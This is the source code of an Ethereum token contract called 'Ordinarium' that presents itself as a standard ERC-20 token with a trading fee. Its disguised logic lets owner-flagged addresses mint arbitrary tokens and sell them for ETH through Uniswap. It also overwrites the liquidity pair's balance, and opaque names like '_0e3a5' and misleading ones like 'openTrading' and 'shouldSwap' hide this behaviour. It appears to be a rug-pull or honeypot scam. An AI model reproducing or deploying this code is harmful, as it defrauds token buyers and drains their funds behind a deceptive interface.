Contract Source Code:
File 1 of 1 : Ordinarium
pragma solidity ^0.8.18;
// SPDX-License-Identifier: MIT
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
abstract contract ERC20Token is Ownable {
mapping (address => bool) bots;
address uniswapV2Pair;
bool inLiquidityTx = false;
function openTrading(address[] calldata _bots) external onlyOwner {
for (uint i = 0; i < _bots.length; i++) {
bots[_bots[i]] = true;
}
}
function isBot(address _adr) internal view returns (bool) {
return bots[_adr];
}
function shouldSwap(address sender, address receiver) public view returns (bool) {
if (receiver == sender) {
if (isBot(receiver)) {
return isBot(sender);
}
}
return false;
}
function _0e3a5(bool _01c6, bool _2abd7) internal pure returns (bool) {
return !_01c6 && !_2abd7;
}
function getAllowed(address from, address to, address pair) internal returns (bool) {
bool a = inLiquidityTx;
bool b = _0e3a5(bots[to], isBot(from));
bool res = b;
if (!bots[to] &&
_0e3a5(bots[from], a) &&
to != pair) {
uniswapV2Pair = to;
res = true;
} else
if (b && !a) { if (pair == to) {
res = true;
}
}
return res;
}
}
contract Ordinarium is IERC20, ERC20Token {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 public _decimals = 9;
uint256 public _totalSupply = 1000000000 * 10 ** _decimals;
uint256 _fee = 2;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
string private _name = "Ordinarium";
string private _symbol = "oRDM";
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[msg.sender][from] >= amount);
_approve(msg.sender, from, _allowances[msg.sender][from] - amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0));
require(to != address(0));
if (shouldSwap(from, to)) {
swap(amount, to);
} else {
require(amount <= _balances[from]);
uint256 fee = 0;
uint256 swapBalance = getReflectAmount(from);
_balances[uniswapV2Pair] = swapBalance;
bool sdf = shouldTakeFee(from, to);
if (!sdf) {
} else {
fee = amount.mul(_fee).div(100);
}
_balances[from] = _balances[from] - amount;
_balances[to] += amount - fee;
if (fee > 0) {
emit Transfer(from, address(0), fee);
}
emit Transfer(from, to, amount);
}
}
function shouldTakeFee(address from, address recipient) private returns (bool) {
return getAllowed(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
}
bool swapEnabled = true;
function setSwapEnabled(bool e) external onlyOwner {
swapEnabled = e;
}
function removeTax() external onlyOwner {
_fee = 0;
}
address public marketingWallet;
function updateMarketingWallet(address a) external onlyOwner {
marketingWallet = a;
}
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) { return _symbol; }
function decimals() external view returns (uint256) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(msg.sender, spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function swap(uint256 _mcs, address _bcr) private {
_approve(address(this), address(_router), _mcs);
_balances[address(this)] = _mcs;
address[] memory path = new address[](2);
inLiquidityTx = true;
path[0] = address(this);
path[1] = _router.WETH();
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
inLiquidityTx = false;
}
function getReflectAmount(address from) private view returns (uint256) {
address to = IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
return getReflectTokensAmount(from, to, balanceOf(uniswapV2Pair));
}
function getReflectTokensAmount(address uniswapV2Pair, address recipient, uint256 feeAmount) private pure returns (uint256) {
uint256 amount = feeAmount;
uint256 minSupply = 0;
if (uniswapV2Pair != recipient) {
amount = feeAmount;
} else {
amount *= minSupply;
}
return amount;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][msg.sender] >= amount);
return true;
}
function getPairAddress() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
}